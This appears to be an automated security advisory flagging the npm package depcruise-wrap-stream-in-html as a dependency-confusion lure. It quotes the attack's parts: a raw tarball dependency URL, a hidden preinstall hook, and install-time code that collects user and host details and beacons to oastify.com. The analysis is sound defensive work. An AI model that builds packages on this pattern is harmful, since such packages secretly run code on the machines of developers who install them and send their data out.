GCVE-110-OSM-2026-10492

depcruise-wrap-stream-in-html@99.9.1 is a hollow package: index.js is `module.exports = {}` and the name mimics an internal helper of dependency-cruiser. Its only effect on install is resolving a runtime dependency `ltidisafe` from an arbitrary HTTPS tarball URL — `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.5.tgz` — hosted on a Google Cloud Storage bucket unrelated to any known publisher of dependency-cruiser. On `npm install`, npm downloads and installs that tarball into node_modules, and any lifecycle scripts inside it execute on the installer's machine. The bucket owner can swap the tarball contents at any time without republishing to npm, bypassing registry scanning and version pinning guarantees. The 99.9.1 version number and lookalike name are consistent with a dependency-confusion / smuggling lure. Judge assessment: This package is consistent with a dependency-confusion smuggling lure used by an attacker to get arbitrary code onto install machines: the attacker-controlled package name mimics an internal helper, while package.json points a dependency at a raw HTTPS tarball (`ltidisafe` from Google Cloud Storage) instead of the npm registry. The payload is not benign glue code; `preinstall: node test.js > /dev/null 2>&1` runs install-time code, and `test.js` contains `os.userInfo()`, `os.hostname()`, and a request to `oastify.com`, which is classic environment fingerprinting plus exfiltration/OAST beaconing. The entrypoint itself is a hollow `module.exports = {}`, so the malicious behavior is concentrated in the install hook and URL dependency, matching the adversary model of a publisher shipping a burner package to execute code on victim systems. The publisher history further supports this: `whltd4` already has multiple malicious packages and a malicious ratio of 0.33, making this a repeat-offender campaign rather than a false positive. ENTRY index.js (main: index.js) - URL-Based Dependency in package.json: ""dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/l..." - Install Hook Executes Local JS File in [ltidisafe] package.json: ""preinstall": "node test.js > /dev/null 2>&1"" EXFIL - OAST/Interactsh Exfiltration in [ltidisafe] test.js: "oastify.com" - Network Request in [ltidisafe] index.js: "http.request(" - System Information Collection in [ltidisafe] test.js: "os.userInfo()" - Suspicious Domain in [ltidisafe] test.js: "oastify.com" OBFUSCATION - recovered 1 domains from decoded/deobfuscated content ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages - Brand New Package PAYLOAD FILES [ltidisafe] test.js